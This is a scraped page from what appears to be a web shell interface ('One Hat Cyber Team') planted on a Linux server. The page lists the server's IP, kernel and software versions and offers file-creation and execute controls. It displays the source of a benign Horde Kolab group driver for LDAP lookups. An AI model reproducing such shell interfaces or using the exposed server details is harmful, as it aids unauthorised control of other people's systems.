⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
Group
/
View File Name :
Kolab.php
* @author Jan Schneider
* @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Group */ /** * This class provides a Kolab driver for the Horde group system. * * @author Gunnar Wrobel
* @author Jan Schneider
* @category Horde * @license http://www.horde.org/licenses/lgpl21 LGPL 2.1 * @package Group */ class Horde_Group_Kolab extends Horde_Group_Ldap { /** * Returns a list of groups a user belongs to. * * @param string $user A user name. * * @return array A list of groups, with IDs as keys and names as values. * @throws Horde_Group_Exception */ public function listGroups($user) { return parent::listGroups($this->_dnForMail($user)); } /** * Tries to find a DN for a given kolab mail address. * * @param string $mail The mail address to search for. * * @return string The corresponding dn or false. * @throws Horde_Group_Exception */ protected function _dnForMail($mail) { try { $filter = Horde_Ldap_Filter::combine( 'and', array(Horde_Ldap_Filter::create('objectclass', 'equals', 'kolabInetOrgPerson'), Horde_Ldap_Filter::create('mail', 'equals', $mail))); $search = $this->_ldap->search($this->_params['basedn'], $filter, array('dn')); if ($search->count()) { return $search->shiftEntry()->dn(); } } catch (Horde_Ldap_Exception $e) { throw new Horde_Group_Exception($e); } throw new Horde_Group_Exception(sprintf('Error searching for user with the email address "%s"', $mail)); } }